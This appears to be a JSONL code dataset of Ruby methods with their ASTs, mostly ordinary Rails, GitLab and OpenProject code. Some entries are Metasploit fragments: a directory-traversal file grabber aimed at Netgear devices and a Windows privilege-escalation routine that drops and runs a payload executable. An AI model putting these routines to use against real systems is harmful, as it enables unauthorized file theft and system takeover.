{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb","start_line":51,"raw_source":"def find_files(file, user, pass)\n    traversal = '/../../'\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(traversal, file),\n      'authorization' => basic_auth(user, pass)\n    })\n\n    if res and res.code == 200 and res.body !~ /404\\ File\\ Not\\ Found/\n      print_good(\"Request may have succeeded on file #{file}\")\n      report_web_vuln({\n        :host => rhost,\n        :port => rport,\n        :vhost => datastore['VHOST'],\n        :path => \"/\",\n        :pname => normalize_uri(traversal, file),\n        :risk => 3,\n        :proof => normalize_uri(traversal, file),\n        :name => self.fullname,\n        :category => \"web\",\n        :method => \"GET\"\n      })\n\n      loot = store_loot(\"lfi.data\", \"text/plain\", rhost, res.body, file)\n      vprint_good(\"File #{file} downloaded to: #{loot}\")\n    elsif res and res.code\n      vprint_error(\"Attempt returned HTTP error #{res.code} when trying to access #{file}\")\n    end\n  end","complexity_score":37.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"str\",\"children\":[\"/../../\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"traversal\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"404\\\\ File\\\\ Not\\\\ Found\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request may have succeeded on file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"traversal\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"traversal\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"web\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"lfi.data\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" downloaded to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempt returned HTTP error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" when trying to access \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},null]}]}]}]}","id":"685014aa-01f9-4736-aa9a-892a582e8523"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/presenters/issue_close.rb","start_line":17,"raw_source":"def already_closed\n          ephemeral_response(text: \"Issue #{resource.to_reference} is already closed.\")\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"already_closed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ephemeral_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Issue \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"to_reference\"]}]},{\"type\":\"str\",\"children\":[\" is already closed.\"]}]}]}]}]}]}","id":"865ae77c-a8bc-4321-ae30-1faa3c1e5d26"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/http_server/router.rb","start_line":37,"raw_source":"def mount(method, path, app)\n          if @router[method].include?(path)\n            raise \"#{path} is already mounted\"\n          end\n\n          @router[method][path] = app\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"mount\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@router\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" is already mounted\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@router\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]}","id":"24834986-1023-40d2-b155-5f9e4a31583f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_enumshares.rb","start_line":129,"raw_source":"def get_os_info(ip)\n    os = smb_fingerprint\n    if os['os'] != 'Unknown'\n      os_info = \"#{os['os']} #{os['sp']} (#{os['lang']})\"\n    end\n    if os_info\n      report_service(\n        host: ip,\n        port: rport,\n        proto: 'tcp',\n        name: 'smb',\n        info: os_info\n      )\n    end\n\n    os_info\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_os_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[null,\"smb_fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"[]\",{\"type\":\"str\",\"children\":[\"os\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"Unknown\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"[]\",{\"type\":\"str\",\"children\":[\"os\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sp\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lang\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_info\"]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"smb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"os_info\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"os_info\"]}]}]}","id":"5648c725-4787-49f4-ba94-9b20f91b012d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":95,"raw_source":"def test_has_one_and_belongs_to_with_non_default_foreign_key_should_not_find_inverse_automatically\n    user = User.create!\n    owned_room = Room.create!(owner: user)\n\n    assert_nil user.room\n    assert_nil owned_room.user\n\n    assert_equal user, owned_room.owner\n    assert_equal owned_room, user.owned_room\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_one_and_belongs_to_with_non_default_foreign_key_should_not_find_inverse_automatically\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"create!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"owned_room\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Room\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"room\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owned_room\"]},\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owned_room\"]},\"owner\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"owned_room\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"owned_room\"]}]}]}]}","id":"9c0c9f90-7e1a-4323-8157-1b079692f7e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/table_of_contents_tag_filter.rb","start_line":107,"raw_source":"def level\n          return 0 unless node\n\n          @level ||= node.name[1].to_i\n        end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"name\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]}]}]}","id":"911aab79-a16f-4dc6-8fcf-d0039a4e7c6c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/styles.rb","start_line":57,"raw_source":"def toc_title_margins\n      resolve_margin(@styles.dig(:toc, :title))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toc_title_margins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"toc\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}","id":"c27df671-5712-4253-ae51-d1976ead0ea6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/webhook.rb","start_line":79,"raw_source":"def invalid_events?\n    events.blank? || events.difference(EVENTS).any?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_events?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events\"]},\"difference\",{\"type\":\"const\",\"children\":[null,\"EVENTS\"]}]},\"any?\"]}]}]}","id":"9c9aab39-6727-4553-a3da-bcea229f487b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces/deletable_helper.rb","start_line":7,"raw_source":"def permanent_deletion_date_formatted(container_or_date = Date.current, format: '%F')\n      date =\n        if container_or_date.respond_to?(:self_deletion_scheduled_deletion_created_on)\n          container_or_date.self_deletion_scheduled_deletion_created_on\n        else\n          container_or_date\n        end\n\n      return unless date.is_a?(Date) || date.is_a?(Time)\n\n      ::Gitlab::CurrentSettings.deletion_adjourned_period.days.since(date).strftime(format)\n    end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"permanent_deletion_date_formatted\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"container_or_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"format\",{\"type\":\"str\",\"children\":[\"%F\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_or_date\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"self_deletion_scheduled_deletion_created_on\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_or_date\"]},\"self_deletion_scheduled_deletion_created_on\"]},{\"type\":\"lvar\",\"children\":[\"container_or_date\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"deletion_adjourned_period\"]},\"days\"]},\"since\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},\"strftime\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"4c50454a-472b-4e64-9d0c-e2f19d7cb1a8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":575,"raw_source":"def miq_region\n    MiqRegion.find_by(:region => region_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"miq_region\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[null,\"region_id\"]}]}]}]}]}","id":"ab41a7b4-1dd3-4294-98f6-1271ec3e5466"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/engine/commands_test.rb","start_line":12,"raw_source":"def setup\n    @destination_root = Dir.mktmpdir(\"bukkits\")\n    generate_plugin(\"#{@destination_root}/bukkits\", \"--mountable\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@destination_root\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\",{\"type\":\"str\",\"children\":[\"bukkits\"]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_plugin\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@destination_root\"]}]},{\"type\":\"str\",\"children\":[\"/bukkits\"]}]},{\"type\":\"str\",\"children\":[\"--mountable\"]}]}]}]}","id":"bb4ace2b-4d2c-42f3-876d-d27edc49fcfe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc.rb","start_line":160,"raw_source":"def exploit\n    if is_system?\n      fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')\n    end\n\n    payload_path = \"#{base_dir}\\\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe\"\n    payload_exe = generate_payload_exe\n    vprint_status(\"Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...\")\n    write_file(payload_path, payload_exe)\n    register_file_for_cleanup(payload_path)\n\n    execute_command('127.0.0.1', 6064, payload_path)\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has SYSTEM privileges\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes) to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"lvar\",\"children\":[\"payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]},{\"type\":\"int\",\"children\":[6064]},{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]}]}]}","id":"2a782674-1aef-4f1e-bce1-bde356e13201"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ssllabs_scan.rb","start_line":251,"raw_source":"def invalid?\n      !valid?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},\"!\"]}]}","id":"5eb27e8f-dcee-4421-b163-ce57c226cc7b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/overland/params.rb","start_line":6,"raw_source":"def initialize(json)\n    @data = json.with_indifferent_access\n    @points = @data[:locations]\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@points\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locations\"]}]}]}]}]}","id":"6699804f-1039-4f4f-89b4-ee86ff9423ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_helper.rb","start_line":151,"raw_source":"def work_package_list(work_packages, &)\n    ancestors = []\n    work_packages.each do |work_package|\n      while ancestors.any? && !work_package.is_descendant_of?(ancestors.last)\n        ancestors.pop\n      end\n      yield work_package, ancestors.size\n      ancestors << work_package unless work_package.leaf?\n    end\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ancestors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"is_descendant_of?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors\"]},\"last\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors\"]},\"pop\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors\"]},\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"leaf?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}]}]}]}","id":"1617782d-d20e-45ce-a1b4-b2a89238b87a"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/import.rb","start_line":65,"raw_source":"def file_size_within_limit\n    return unless file.attached?\n\n    return unless file.blob.byte_size > 11.megabytes\n\n    errors.add(:file, 'is too large. Trial users can only upload files up to 10MB.')\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"file_size_within_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"attached?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"blob\"]},\"byte_size\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[11]},\"megabytes\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"is too large. Trial users can only upload files up to 10MB.\"]}]}]}]}","id":"4f82d614-733d-4eb6-a629-10e8b9fe2f84"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journal/base_journal.rb","start_line":41,"raw_source":"def self.journaled_attributes\n    @journaled_attributes ||= columns.reject(&:virtual?).map { |col| col.name.to_sym } - excluded_attributes\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journaled_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@journaled_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"virtual?\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"name\"]},\"to_sym\"]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"excluded_attributes\"]}]}]}]}","id":"97d4f08f-bb33-44a5-aeeb-80887f413723"}
